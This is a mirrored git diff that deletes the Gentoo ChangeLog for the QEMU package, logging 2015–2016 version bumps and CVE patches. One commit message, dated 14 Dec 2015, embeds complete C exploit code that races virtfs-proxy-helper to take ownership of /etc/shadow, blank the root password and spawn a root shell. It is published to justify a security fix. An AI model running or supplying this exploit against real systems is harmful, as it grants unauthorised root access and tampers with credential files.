mirror of
https://github.com/flatcar/scripts.git
synced 2025-08-18 10:27:00 +02:00
commit
bb29e80ea6
@ -1,792 +0,0 @@
|
||||
# ChangeLog for app-emulation/qemu
|
||||
# Copyright 1999-2016 Gentoo Foundation; Distributed under the GPL v2
|
||||
# (auto-generated from git log)
|
||||
|
||||
*qemu-9999 (09 Aug 2015)
|
||||
*qemu-2.3.0-r5 (09 Aug 2015)
|
||||
*qemu-2.3.0-r4 (09 Aug 2015)
|
||||
|
||||
09 Aug 2015; Robin H. Johnson <robbat2@gentoo.org> +files/65-kvm.rules,
|
||||
+files/bridge.conf, +files/qemu-1.7.0-cflags.patch,
|
||||
+files/qemu-2.2.1-CVE-2015-1779-1.patch,
|
||||
+files/qemu-2.2.1-CVE-2015-1779-2.patch,
|
||||
+files/qemu-2.3.0-CVE-2015-3209.patch,
|
||||
+files/qemu-2.3.0-CVE-2015-3214.patch,
|
||||
+files/qemu-2.3.0-CVE-2015-3456.patch,
|
||||
+files/qemu-2.3.0-CVE-2015-5154-1.patch,
|
||||
+files/qemu-2.3.0-CVE-2015-5154-2.patch,
|
||||
+files/qemu-2.3.0-CVE-2015-5154-3.patch,
|
||||
+files/qemu-2.3.0-CVE-2015-5158.patch,
|
||||
+files/qemu-2.3.0-CVE-2015-5165-1.patch,
|
||||
+files/qemu-2.3.0-CVE-2015-5165-2.patch,
|
||||
+files/qemu-2.3.0-CVE-2015-5165-3.patch,
|
||||
+files/qemu-2.3.0-CVE-2015-5165-4.patch,
|
||||
+files/qemu-2.3.0-CVE-2015-5165-5.patch,
|
||||
+files/qemu-2.3.0-CVE-2015-5165-6.patch,
|
||||
+files/qemu-2.3.0-CVE-2015-5165-7.patch,
|
||||
+files/qemu-2.3.0-CVE-2015-5166.patch, +files/qemu-binfmt.initd-r1,
|
||||
+metadata.xml, +qemu-2.3.0-r4.ebuild, +qemu-2.3.0-r5.ebuild,
|
||||
+qemu-9999.ebuild:
|
||||
proj/gentoo: Initial commit
|
||||
|
||||
This commit represents a new era for Gentoo:
|
||||
Storing the gentoo-x86 tree in Git, as converted from CVS.
|
||||
|
||||
This commit is the start of the NEW history.
|
||||
Any historical data is intended to be grafted onto this point.
|
||||
|
||||
Creation process:
|
||||
1. Take final CVS checkout snapshot
|
||||
2. Remove ALL ChangeLog* files
|
||||
3. Transform all Manifests to thin
|
||||
4. Remove empty Manifests
|
||||
5. Convert all stale $Header$/$Id$ CVS keywords to non-expanded Git $Id$
|
||||
5.1. Do not touch files with -kb/-ko keyword flags.
|
||||
|
||||
Signed-off-by: Robin H. Johnson <robbat2@gentoo.org>
|
||||
X-Thanks: Alec Warner <antarus@gentoo.org> - did the GSoC 2006 migration
|
||||
tests
|
||||
X-Thanks: Robin H. Johnson <robbat2@gentoo.org> - infra guy, herding this
|
||||
project
|
||||
X-Thanks: Nguyen Thai Ngoc Duy <pclouds@gentoo.org> - Former Gentoo
|
||||
developer, wrote Git features for the migration
|
||||
X-Thanks: Brian Harring <ferringb@gentoo.org> - wrote much python to improve
|
||||
cvs2svn
|
||||
X-Thanks: Rich Freeman <rich0@gentoo.org> - validation scripts
|
||||
X-Thanks: Patrick Lauer <patrick@gentoo.org> - Gentoo dev, running new 2014
|
||||
work in migration
|
||||
X-Thanks: Michał Górny <mgorny@gentoo.org> - scripts, QA, nagging
|
||||
X-Thanks: All of other Gentoo developers - many ideas and lots of paint on
|
||||
the bikeshed
|
||||
|
||||
*qemu-2.3.0-r6 (10 Aug 2015)
|
||||
|
||||
10 Aug 2015; Mike Frysinger <vapier@gentoo.org>
|
||||
+files/qemu-2.3.0-virtio-serial.patch, +qemu-2.3.0-r6.ebuild:
|
||||
qemu: fix from upstream for virtio-serial security issue #557206
|
||||
|
||||
10 Aug 2015; Mike Frysinger <vapier@gentoo.org> qemu-2.3.0-r6.ebuild:
|
||||
qemu: do not put directly into stable
|
||||
|
||||
*qemu-2.3.1 (12 Aug 2015)
|
||||
|
||||
12 Aug 2015; Mike Frysinger <vapier@gentoo.org> +qemu-2.3.1.ebuild:
|
||||
qemu: version bump to 2.3.1
|
||||
|
||||
*qemu-2.4.0 (12 Aug 2015)
|
||||
|
||||
12 Aug 2015; Mike Frysinger <vapier@gentoo.org> +qemu-2.4.0.ebuild:
|
||||
qemu: version bump to 2.4.0
|
||||
|
||||
14 Aug 2015; Mike Frysinger <vapier@gentoo.org> qemu-2.4.0.ebuild,
|
||||
qemu-9999.ebuild:
|
||||
depend on libepoxy for USE=opengl #557488
|
||||
|
||||
14 Aug 2015; Mike Frysinger <vapier@gentoo.org> qemu-2.4.0.ebuild,
|
||||
qemu-9999.ebuild:
|
||||
move more deps to softmmu-only case
|
||||
|
||||
These packages are only used when building softmmu binaries, so don't try
|
||||
pulling them in when the user is building tools or user binaries.
|
||||
|
||||
14 Aug 2015; Mike Frysinger <vapier@gentoo.org> qemu-2.3.0-r4.ebuild,
|
||||
qemu-2.3.0-r5.ebuild, qemu-2.3.0-r6.ebuild, qemu-2.3.1.ebuild,
|
||||
qemu-2.4.0.ebuild, qemu-9999.ebuild:
|
||||
switch to virtual/libusb to quiet repoman
|
||||
|
||||
Now that the virtual requires the latest libusb, we can switch to that
|
||||
rather than depending directly on libusb's version.
|
||||
|
||||
16 Aug 2015; Justin Lecher <jlec@gentoo.org> metadata.xml,
|
||||
qemu-2.3.0-r4.ebuild, qemu-2.3.0-r5.ebuild, qemu-2.3.0-r6.ebuild,
|
||||
qemu-2.3.1.ebuild, qemu-2.4.0.ebuild, qemu-9999.ebuild:
|
||||
Use slot operators for ncurses
|
||||
|
||||
Package-Manager: portage-2.2.20.1
|
||||
Signed-off-by: Justin Lecher <jlec@gentoo.org>
|
||||
|
||||
24 Aug 2015; Justin Lecher <jlec@gentoo.org> metadata.xml,
|
||||
qemu-2.3.0-r4.ebuild, qemu-2.3.0-r5.ebuild, qemu-2.3.0-r6.ebuild,
|
||||
qemu-2.3.1.ebuild, qemu-2.4.0.ebuild, qemu-9999.ebuild:
|
||||
Use https by default
|
||||
|
||||
Convert all URLs for sites supporting encrypted connections from http to
|
||||
https
|
||||
|
||||
Signed-off-by: Justin Lecher <jlec@gentoo.org>
|
||||
|
||||
24 Aug 2015; Mike Gilbert <floppym@gentoo.org> metadata.xml:
|
||||
Revert DOCTYPE SYSTEM https changes in metadata.xml
|
||||
|
||||
repoman does not yet accept the https version.
|
||||
This partially reverts eaaface92ee81f30a6ac66fe7acbcc42c00dc450.
|
||||
|
||||
Bug: https://bugs.gentoo.org/552720
|
||||
|
||||
26 Aug 2015; Mike Frysinger <vapier@gentoo.org> qemu-2.3.0-r4.ebuild,
|
||||
qemu-2.3.0-r5.ebuild, qemu-2.3.0-r6.ebuild, qemu-2.3.1.ebuild,
|
||||
qemu-2.4.0.ebuild, qemu-9999.ebuild:
|
||||
sys-libs/ncurses: move to SLOT=0 #557472
|
||||
|
||||
Use SLOT=0 for installing of main development files like other packages
|
||||
so we can use other SLOTs for installing SONAME libs for binary packages.
|
||||
|
||||
28 Aug 2015; Manuel Rüger <mrueg@gentoo.org> -qemu-2.3.0-r4.ebuild:
|
||||
Remove vulnerable
|
||||
|
||||
Package-Manager: portage-2.2.20.1
|
||||
|
||||
07 Sep 2015; Mike Frysinger <vapier@gentoo.org> qemu-9999.ebuild:
|
||||
add new targets
|
||||
|
||||
07 Sep 2015; Mike Frysinger <vapier@gentoo.org> qemu-9999.ebuild:
|
||||
update seabios pin to version 1.8.2
|
||||
|
||||
07 Sep 2015; Mike Frysinger <vapier@gentoo.org> qemu-9999.ebuild:
|
||||
add target sanity checks
|
||||
|
||||
This way we know up front when a new target appears rather than when
|
||||
someone happens to check & notice.
|
||||
|
||||
*qemu-2.4.0-r1 (07 Sep 2015)
|
||||
|
||||
07 Sep 2015; Mike Frysinger <vapier@gentoo.org>
|
||||
+files/qemu-2.4.0-CVE-2015-5225.patch,
|
||||
+files/qemu-2.4.0-block-mirror-crash.patch,
|
||||
+files/qemu-2.4.0-e1000-loop.patch, -qemu-2.4.0.ebuild,
|
||||
+qemu-2.4.0-r1.ebuild:
|
||||
various fixes/updates
|
||||
|
||||
Sync in the updates from the 9999 ebuild:
|
||||
- updated seabios pin
|
||||
- add new targets
|
||||
- add sanity checks for targets
|
||||
|
||||
Add fix from upstream for blockcommit crashes #558396.
|
||||
|
||||
Add fix from upstream for CVE-2015-5225 #558416.
|
||||
|
||||
Add fix posted upstream (but not yet merged) for e1000 infinite loop
|
||||
#559656.
|
||||
|
||||
08 Sep 2015; Agostino Sarubbo <ago@gentoo.org> qemu-2.4.0-r1.ebuild:
|
||||
amd64 stable wrt bug #558416
|
||||
|
||||
Package-Manager: portage-2.2.20.1
|
||||
RepoMan-Options: --include-arches="amd64"
|
||||
|
||||
08 Sep 2015; Agostino Sarubbo <ago@gentoo.org> qemu-2.4.0-r1.ebuild:
|
||||
x86 stable wrt bug #558416
|
||||
|
||||
Package-Manager: portage-2.2.20.1
|
||||
RepoMan-Options: --include-arches="x86"
|
||||
|
||||
11 Sep 2015; Mike Frysinger <vapier@gentoo.org> qemu-2.4.0-r1.ebuild,
|
||||
qemu-9999.ebuild:
|
||||
require mesa[egl] too
|
||||
|
||||
Upstream commit 7ced9e9f6da2257224591b91727cfeee4f3977fb made the egl
|
||||
layer of mesa a requirement.
|
||||
|
||||
16 Sep 2015; Mike Frysinger <vapier@gentoo.org> qemu-9999.ebuild:
|
||||
switch USE=tls to USE=gnutls #560574
|
||||
|
||||
Upstream no longer has dedicated configuration options for tls settings.
|
||||
Instead, it's all run through the gnutls feature test.
|
||||
|
||||
We require newer versions of gnutls because supporting older ones gets a
|
||||
bit messy -- qemu might leverage libgcrypt or nettle depending on how the
|
||||
gnutls package was built. By forcing the latest version, we can simplify
|
||||
and only require nettle. This isn't a big deal as it's already stable.
|
||||
|
||||
26 Sep 2015; Mike Frysinger <vapier@gentoo.org> qemu-9999.ebuild:
|
||||
add tilegx linux-user target #561322
|
||||
|
||||
29 Sep 2015; Mike Frysinger <vapier@gentoo.org> qemu-9999.ebuild:
|
||||
update smartcard configure flag #561670
|
||||
|
||||
*qemu-2.4.0.1 (10 Oct 2015)
|
||||
|
||||
10 Oct 2015; Mike Frysinger <vapier@gentoo.org>
|
||||
+files/qemu-2.4.0-CVE-2015-6855.patch,
|
||||
+files/qemu-2.4.0-CVE-2015-7295-1.patch,
|
||||
+files/qemu-2.4.0-CVE-2015-7295-2.patch,
|
||||
+files/qemu-2.4.0-CVE-2015-7295-3.patch, +qemu-2.4.0.1.ebuild:
|
||||
version bump to 2.4.0.1 #562594
|
||||
|
||||
This also includes security fixes for #560760 #560550 #560422.
|
||||
|
||||
*qemu-2.4.0.1-r1 (15 Oct 2015)
|
||||
|
||||
15 Oct 2015; Markos Chandras <hwoarang@gentoo.org>
|
||||
+files/qemu-2.4-mips-fix-mtc0.patch, +files/qemu-2.4-mips-fix-rdhwr.patch,
|
||||
+files/qemu-2.4-mips-move-interrupts-new-func.patch,
|
||||
+files/qemu-2.4-mips-wake-up-on-irq.patch, +qemu-2.4.0.1-r1.ebuild:
|
||||
Backport a few MIPS patches. Bug #563162
|
||||
|
||||
Package-Manager: portage-2.2.23
|
||||
|
||||
26 Oct 2015; Mike Frysinger <vapier@gentoo.org> qemu-9999.ebuild:
|
||||
update qmp doc paths #564186
|
||||
|
||||
*qemu-2.4.1 (06 Nov 2015)
|
||||
|
||||
06 Nov 2015; Mike Frysinger <vapier@gentoo.org> +qemu-2.4.1.ebuild:
|
||||
version bump to 2.4.1 #564990
|
||||
|
||||
07 Nov 2015; Mike Frysinger <vapier@gentoo.org> qemu-2.4.0-r1.ebuild,
|
||||
qemu-2.4.0.1.ebuild, qemu-2.4.0.1-r1.ebuild, qemu-2.4.1.ebuild,
|
||||
qemu-9999.ebuild:
|
||||
force C locale for sorting to workaround glibc bug #564936
|
||||
|
||||
23 Nov 2015; Mike Frysinger <vapier@gentoo.org>
|
||||
+files/qemu-2.5.0-cflags.patch, qemu-9999.ebuild:
|
||||
update cflags patch #565866
|
||||
|
||||
07 Dec 2015; Doug Goldstein <cardoe@gentoo.org> qemu-2.3.0-r5.ebuild,
|
||||
qemu-2.3.0-r6.ebuild, qemu-2.3.1.ebuild, qemu-2.4.0-r1.ebuild,
|
||||
qemu-2.4.0.1.ebuild, qemu-2.4.0.1-r1.ebuild, qemu-2.4.1.ebuild,
|
||||
qemu-9999.ebuild:
|
||||
utilize xen-tools sub-slot
|
||||
|
||||
app-emulation/xen-tools now exposes a sub-slot to help dependencies
|
||||
rebuild when necessary.
|
||||
|
||||
Signed-off-by: Doug Goldstein <cardoe@gentoo.org>
|
||||
|
||||
*qemu-2.4.1-r1 (08 Dec 2015)
|
||||
|
||||
08 Dec 2015; Mike Frysinger <vapier@gentoo.org>
|
||||
+files/qemu-2.4.1-CVE-2015-7504.patch,
|
||||
+files/qemu-2.4.1-CVE-2015-7512.patch,
|
||||
+files/qemu-2.4.1-CVE-2015-8345.patch, +qemu-2.4.1-r1.ebuild:
|
||||
add upstream security fixes #566792 #567144
|
||||
|
||||
08 Dec 2015; Mike Frysinger <vapier@gentoo.org> metadata.xml,
|
||||
qemu-9999.ebuild:
|
||||
add USE=virgl for Virgil 3d GPU #566994
|
||||
|
||||
08 Dec 2015; Mike Frysinger <vapier@gentoo.org> qemu-9999.ebuild:
|
||||
switch to new libcacard release #561814
|
||||
|
||||
*qemu-2.4.0.1-r2 (14 Dec 2015)
|
||||
*qemu-2.4.0-r2 (14 Dec 2015)
|
||||
*qemu-2.3.1-r1 (14 Dec 2015)
|
||||
*qemu-2.3.0-r7 (14 Dec 2015)
|
||||
|
||||
14 Dec 2015; Jason A. Donenfeld <zx2c4@gentoo.org> +qemu-2.3.0-r7.ebuild,
|
||||
+qemu-2.3.1-r1.ebuild, +qemu-2.4.0-r2.ebuild, +qemu-2.4.0.1-r2.ebuild:
|
||||
critical security fix
|
||||
|
||||
The virtfs-proxy-helper program is not a safe binary to give caps.
|
||||
The following exploit code demonstrates the vulnerability:
|
||||
|
||||
~=~=~=~= snip ~=~=~=~=
|
||||
|
||||
/* == virtfshell ==
|
||||
*
|
||||
* Some distributions make virtfs-proxy-helper from QEMU either SUID or
|
||||
* give it CAP_CHOWN fs capabilities. This is a terrible idea. While
|
||||
* virtfs-proxy-helper makes some sort of flimsy check to make sure
|
||||
* its socket path doesn't already exist, it is vulnerable to TOCTOU.
|
||||
*
|
||||
* This should spawn a root shell eventually on vulnerable systems.
|
||||
*
|
||||
* - zx2c4
|
||||
* 2015-12-12
|
||||
*
|
||||
*
|
||||
* zx2c4@thinkpad ~ $ lsb_release -i
|
||||
* Distributor ID: Gentoo
|
||||
* zx2c4@thinkpad ~ $ ./virtfshell
|
||||
* == Virtfshell - by zx2c4 ==
|
||||
* [+] Beginning race loop
|
||||
* [+] Chown'd /etc/shadow, elevating to root
|
||||
* [+] Cleaning up
|
||||
* [+] Spawning root shell
|
||||
* thinkpad zx2c4 # whoami
|
||||
* root
|
||||
*
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/inotify.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <signal.h>
|
||||
|
||||
static int it_worked(void)
|
||||
{
|
||||
struct stat sbuf = { 0 };
|
||||
stat("/etc/shadow", &sbuf);
|
||||
return sbuf.st_uid == getuid() && sbuf.st_gid == getgid();
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int fd;
|
||||
pid_t pid;
|
||||
char uid[12], gid[12];
|
||||
|
||||
sprintf(uid, "%d", getuid());
|
||||
sprintf(gid, "%d", getgid());
|
||||
|
||||
printf("== Virtfshell - by zx2c4 ==\n");
|
||||
|
||||
printf("[+] Beginning race loop\n");
|
||||
|
||||
while (!it_worked()) {
|
||||
fd = inotify_init();
|
||||
unlink("/tmp/virtfshell/sock");
|
||||
mkdir("/tmp/virtfshell", 0777);
|
||||
inotify_add_watch(fd, "/tmp/virtfshell", IN_CREATE);
|
||||
pid = fork();
|
||||
if (!pid) {
|
||||
close(0);
|
||||
close(1);
|
||||
close(2);
|
||||
execlp("virtfs-proxy-helper", "virtfs-proxy-helper",
|
||||
"-n", "-p", "/tmp", "-u", uid, "-g", gid, "-s", "/tmp/virtfshell/sock",
|
||||
NULL);
|
||||
_exit(1);
|
||||
}
|
||||
read(fd, 0, 0);
|
||||
unlink("/tmp/virtfshell/sock");
|
||||
symlink("/etc/shadow", "/tmp/virtfshell/sock");
|
||||
close(fd);
|
||||
kill(pid, SIGKILL);
|
||||
wait(NULL);
|
||||
}
|
||||
|
||||
printf("[+] Chown'd /etc/shadow, elevating to root\n");
|
||||
|
||||
system( "cp /etc/shadow /tmp/original_shadow;"
|
||||
"sed 's/^root:.*/root::::::::/' /etc/shadow >
|
||||
/tmp/modified_shadow;"
|
||||
"cat /tmp/modified_shadow > /etc/shadow;"
|
||||
"su -c '"
|
||||
" echo [+] Cleaning up;"
|
||||
" cat /tmp/original_shadow > /etc/shadow;"
|
||||
" chown root:root /etc/shadow;"
|
||||
" rm /tmp/modified_shadow /tmp/original_shadow;"
|
||||
" echo [+] Spawning root shell;"
|
||||
" exec /bin/bash -i"
|
||||
"'");
|
||||
return 0;
|
||||
}
|
||||
|
||||
15 Dec 2015; Mike Frysinger <vapier@gentoo.org> qemu-2.3.0-r5.ebuild,
|
||||
qemu-2.3.0-r6.ebuild, qemu-2.3.1.ebuild, qemu-2.4.0-r1.ebuild,
|
||||
qemu-2.4.0.1.ebuild, qemu-2.4.0.1-r1.ebuild, qemu-2.4.1.ebuild,
|
||||
qemu-2.4.1-r1.ebuild, qemu-9999.ebuild:
|
||||
drop virtfs-proxy-helper fcaps from all versions #568226
|
||||
|
||||
*qemu-2.4.1-r2 (15 Dec 2015)
|
||||
|
||||
15 Dec 2015; Mike Frysinger <vapier@gentoo.org>
|
||||
+files/qemu-2.4.1-CVE-2015-7549.patch,
|
||||
+files/qemu-2.4.1-CVE-2015-8504.patch, +qemu-2.4.1-r2.ebuild:
|
||||
add upstream fixes for #567828 #568214
|
||||
|
||||
16 Dec 2015; Agostino Sarubbo <ago@gentoo.org> qemu-2.4.1-r2.ebuild:
|
||||
amd64 stable wrt bug #567828
|
||||
|
||||
Package-Manager: portage-2.2.24
|
||||
RepoMan-Options: --include-arches="amd64"
|
||||
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
|
||||
|
||||
16 Dec 2015; Agostino Sarubbo <ago@gentoo.org> qemu-2.4.1-r2.ebuild:
|
||||
x86 stable wrt bug #567828
|
||||
|
||||
Package-Manager: portage-2.2.24
|
||||
RepoMan-Options: --include-arches="x86"
|
||||
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
|
||||
|
||||
*qemu-2.5.0 (17 Dec 2015)
|
||||
|
||||
17 Dec 2015; Mike Frysinger <vapier@gentoo.org> +qemu-2.5.0.ebuild:
|
||||
version bump to 2.5.0
|
||||
|
||||
17 Dec 2015; Mike Frysinger <vapier@gentoo.org>
|
||||
-files/qemu-2.2.1-CVE-2015-1779-1.patch,
|
||||
-files/qemu-2.2.1-CVE-2015-1779-2.patch,
|
||||
-files/qemu-2.3.0-CVE-2015-3209.patch,
|
||||
-files/qemu-2.3.0-CVE-2015-3214.patch,
|
||||
-files/qemu-2.3.0-CVE-2015-3456.patch,
|
||||
-files/qemu-2.3.0-CVE-2015-5154-1.patch,
|
||||
-files/qemu-2.3.0-CVE-2015-5154-2.patch,
|
||||
-files/qemu-2.3.0-CVE-2015-5154-3.patch,
|
||||
-files/qemu-2.3.0-CVE-2015-5158.patch,
|
||||
-files/qemu-2.3.0-CVE-2015-5165-1.patch,
|
||||
-files/qemu-2.3.0-CVE-2015-5165-2.patch,
|
||||
-files/qemu-2.3.0-CVE-2015-5165-3.patch,
|
||||
-files/qemu-2.3.0-CVE-2015-5165-4.patch,
|
||||
-files/qemu-2.3.0-CVE-2015-5165-5.patch,
|
||||
-files/qemu-2.3.0-CVE-2015-5165-6.patch,
|
||||
-files/qemu-2.3.0-CVE-2015-5165-7.patch,
|
||||
-files/qemu-2.3.0-CVE-2015-5166.patch,
|
||||
-files/qemu-2.3.0-virtio-serial.patch,
|
||||
-files/qemu-2.4.0-CVE-2015-5225.patch,
|
||||
-files/qemu-2.4.0-CVE-2015-6855.patch,
|
||||
-files/qemu-2.4.0-CVE-2015-7295-1.patch,
|
||||
-files/qemu-2.4.0-CVE-2015-7295-2.patch,
|
||||
-files/qemu-2.4.0-CVE-2015-7295-3.patch,
|
||||
-files/qemu-2.4.0-block-mirror-crash.patch,
|
||||
-files/qemu-2.4.0-e1000-loop.patch, -qemu-2.3.0-r5.ebuild,
|
||||
-qemu-2.3.0-r6.ebuild, -qemu-2.3.0-r7.ebuild, -qemu-2.3.1.ebuild,
|
||||
-qemu-2.3.1-r1.ebuild, -qemu-2.4.0-r1.ebuild, -qemu-2.4.0-r2.ebuild,
|
||||
-qemu-2.4.0.1.ebuild, -qemu-2.4.0.1-r1.ebuild, -qemu-2.4.0.1-r2.ebuild,
|
||||
-qemu-2.4.1.ebuild, -qemu-2.4.1-r1.ebuild:
|
||||
drop versions <2.4.1-r2
|
||||
|
||||
20 Dec 2015; Mike Frysinger <vapier@gentoo.org> qemu-2.5.0.ebuild,
|
||||
qemu-9999.ebuild:
|
||||
disable libgcrypt usage #568856
|
||||
|
||||
*qemu-2.5.0-r1 (18 Jan 2016)
|
||||
|
||||
18 Jan 2016; Mike Frysinger <vapier@gentoo.org>
|
||||
+files/qemu-2.5.0-CVE-2015-8558.patch,
|
||||
+files/qemu-2.5.0-CVE-2015-8567.patch,
|
||||
+files/qemu-2.5.0-CVE-2015-8701.patch,
|
||||
+files/qemu-2.5.0-CVE-2015-8743.patch,
|
||||
+files/qemu-2.5.0-CVE-2016-1568.patch, +qemu-2.5.0-r1.ebuild:
|
||||
add upstream fixes for #567868 #568246 #570110 #570988 #571566
|
||||
|
||||
24 Jan 2016; Michał Górny <mgorny@gentoo.org> metadata.xml:
|
||||
Replace all herds with appropriate projects (GLEP 67)
|
||||
|
||||
Replace all uses of herd with appropriate project maintainers, or no
|
||||
maintainers in case of herds requested to be disbanded.
|
||||
|
||||
24 Jan 2016; Michał Górny <mgorny@gentoo.org> metadata.xml:
|
||||
Set appropriate maintainer types in metadata.xml (GLEP 67)
|
||||
|
||||
26 Jan 2016; Agostino Sarubbo <ago@gentoo.org> qemu-2.5.0-r1.ebuild:
|
||||
amd64 stable wrt bug #571566
|
||||
|
||||
Package-Manager: portage-2.2.26
|
||||
RepoMan-Options: --include-arches="amd64"
|
||||
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
|
||||
|
||||
26 Jan 2016; Agostino Sarubbo <ago@gentoo.org> qemu-2.5.0-r1.ebuild:
|
||||
x86 stable wrt bug #571566
|
||||
|
||||
Package-Manager: portage-2.2.26
|
||||
RepoMan-Options: --include-arches="x86"
|
||||
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
|
||||
|
||||
15 Feb 2016; Doug Goldstein <cardoe@gentoo.org>
|
||||
-files/qemu-1.7.0-cflags.patch, -files/qemu-2.4-mips-fix-mtc0.patch,
|
||||
-files/qemu-2.4-mips-fix-rdhwr.patch,
|
||||
-files/qemu-2.4-mips-move-interrupts-new-func.patch,
|
||||
-files/qemu-2.4-mips-wake-up-on-irq.patch,
|
||||
-files/qemu-2.4.1-CVE-2015-7504.patch,
|
||||
-files/qemu-2.4.1-CVE-2015-7512.patch,
|
||||
-files/qemu-2.4.1-CVE-2015-7549.patch,
|
||||
-files/qemu-2.4.1-CVE-2015-8345.patch,
|
||||
-files/qemu-2.4.1-CVE-2015-8504.patch, -qemu-2.4.1-r2.ebuild,
|
||||
-qemu-2.5.0.ebuild:
|
||||
remove vulnerable versions
|
||||
|
||||
Package-Manager: portage-2.2.26
|
||||
Signed-off-by: Doug Goldstein <cardoe@gentoo.org>
|
||||
|
||||
15 Feb 2016; Patrick Lauer <patrick@gentoo.org> metadata.xml:
|
||||
Remove unneeded useflag description from metadata.xml
|
||||
|
||||
Package-Manager: portage-2.2.27
|
||||
|
||||
19 Feb 2016; Robin H. Johnson <robbat2@gentoo.org> metadata.xml:
|
||||
restore USE=gnutls use desc for side-effects
|
||||
|
||||
commit ea4d1e1fcc just removed the USE=tls, rather than updating it for
|
||||
USE=gnutls. Per the description, it has side-effects of enabling
|
||||
enabling WebSocket & disk quorum features.
|
||||
|
||||
Package-Manager: portage-2.2.27
|
||||
|
||||
28 Feb 2016; Doug Goldstein <cardoe@gentoo.org> qemu-2.5.0-r1.ebuild:
|
||||
fix arm64 dependencies
|
||||
|
||||
arm/arm64 have some dependencies which are higher than other platforms.
|
||||
Unfortunately the dependencies are not stable on arm but this package is
|
||||
so arm updates will come later.
|
||||
|
||||
Package-Manager: portage-2.2.26
|
||||
Signed-off-by: Doug Goldstein <cardoe@gentoo.org>
|
||||
|
||||
28 Feb 2016; Matthew Thode <prometheanfire@gentoo.org> qemu-2.5.0-r1.ebuild:
|
||||
keywording arm64
|
||||
|
||||
merged on X-C1
|
||||
|
||||
Package-Manager: portage-2.2.26
|
||||
|
||||
15 Mar 2016; Doug Goldstein <cardoe@gentoo.org> qemu-2.5.0-r1.ebuild:
|
||||
fix arm depends for libseccomp
|
||||
|
||||
arm needs libseccomp 2.2.3 or newer for QEMU to be able to utilize it.
|
||||
|
||||
Package-Manager: portage-2.2.26
|
||||
Signed-off-by: Doug Goldstein <cardoe@gentoo.org>
|
||||
|
||||
*qemu-2.5.0-r2 (23 Mar 2016)
|
||||
|
||||
23 Mar 2016; Mike Frysinger <vapier@gentoo.org>
|
||||
+files/qemu-2.5.0-CVE-2015-8613.patch,
|
||||
+files/qemu-2.5.0-CVE-2015-8619.patch,
|
||||
+files/qemu-2.5.0-CVE-2016-1714.patch,
|
||||
+files/qemu-2.5.0-CVE-2016-1922.patch,
|
||||
+files/qemu-2.5.0-CVE-2016-1981.patch,
|
||||
+files/qemu-2.5.0-CVE-2016-2197.patch,
|
||||
+files/qemu-2.5.0-CVE-2016-2198.patch,
|
||||
+files/qemu-2.5.0-CVE-2016-2392.patch,
|
||||
+files/qemu-2.5.0-rng-stack-corrupt-0.patch,
|
||||
+files/qemu-2.5.0-rng-stack-corrupt-1.patch,
|
||||
+files/qemu-2.5.0-rng-stack-corrupt-2.patch,
|
||||
+files/qemu-2.5.0-rng-stack-corrupt-3.patch,
|
||||
+files/qemu-2.5.0-sysmacros.patch, +files/qemu-2.5.0-usb-ehci-oob.patch,
|
||||
+files/qemu-2.5.0-usb-ndis-int-overflow.patch, +qemu-2.5.0-r2.ebuild:
|
||||
backport various upstream fixes
|
||||
|
||||
24 Mar 2016; Agostino Sarubbo <ago@gentoo.org> qemu-2.5.0-r2.ebuild:
|
||||
amd64 stable wrt bug #578044
|
||||
|
||||
Package-Manager: portage-2.2.26
|
||||
RepoMan-Options: --include-arches="amd64"
|
||||
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
|
||||
|
||||
24 Mar 2016; Agostino Sarubbo <ago@gentoo.org> qemu-2.5.0-r2.ebuild:
|
||||
x86 stable wrt bug #578044
|
||||
|
||||
Package-Manager: portage-2.2.26
|
||||
RepoMan-Options: --include-arches="x86"
|
||||
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
|
||||
|
||||
25 Mar 2016; Sergey Popov <pinkbyte@gentoo.org> -qemu-2.5.0-r1.ebuild:
|
||||
security cleanup
|
||||
|
||||
Gentoo-Bug: 576420
|
||||
|
||||
Package-Manager: portage-2.2.28
|
||||
|
||||
28 Mar 2016; Mike Frysinger <vapier@gentoo.org> qemu-2.5.0-r2.ebuild,
|
||||
qemu-9999.ebuild:
|
||||
use l10n.eclass to respect LINGUAS #577814
|
||||
|
||||
*qemu-2.5.0-r3 (28 Mar 2016)
|
||||
|
||||
28 Mar 2016; Mike Frysinger <vapier@gentoo.org>
|
||||
+files/qemu-2.5.0-9pfs-segfault.patch,
|
||||
+files/qemu-2.5.0-ne2000-reg-check.patch, +qemu-2.5.0-r3.ebuild:
|
||||
add few more upstream fixes #573816 #578142
|
||||
|
||||
29 Mar 2016; Agostino Sarubbo <ago@gentoo.org> qemu-2.5.0-r3.ebuild:
|
||||
amd64 stable wrt bug #573816
|
||||
|
||||
Package-Manager: portage-2.2.26
|
||||
RepoMan-Options: --include-arches="amd64"
|
||||
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
|
||||
|
||||
29 Mar 2016; Agostino Sarubbo <ago@gentoo.org> qemu-2.5.0-r3.ebuild:
|
||||
x86 stable wrt bug #573816
|
||||
|
||||
Package-Manager: portage-2.2.26
|
||||
RepoMan-Options: --include-arches="x86"
|
||||
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
|
||||
|
||||
20 Apr 2016; Mike Frysinger <vapier@gentoo.org> qemu-2.5.0-r3.ebuild,
|
||||
qemu-9999.ebuild:
|
||||
mention /dev/kvm perm updates in the readme/elog #580436
|
||||
|
||||
*qemu-2.5.1 (23 Apr 2016)
|
||||
|
||||
23 Apr 2016; Mike Frysinger <vapier@gentoo.org>
|
||||
+files/qemu-2.5.1-CVE-2015-8558.patch,
|
||||
+files/qemu-2.5.1-CVE-2016-4020.patch,
|
||||
+files/qemu-2.5.1-stellaris_enet-overflow.patch, +qemu-2.5.1.ebuild:
|
||||
app-misc/qemu: version bump & bug fixes #579614 #580040 #580426
|
||||
|
||||
12 May 2016; Mike Frysinger <vapier@gentoo.org> qemu-2.5.1.ebuild,
|
||||
qemu-9999.ebuild:
|
||||
use subslots w/nettle & gnutls #582836
|
||||
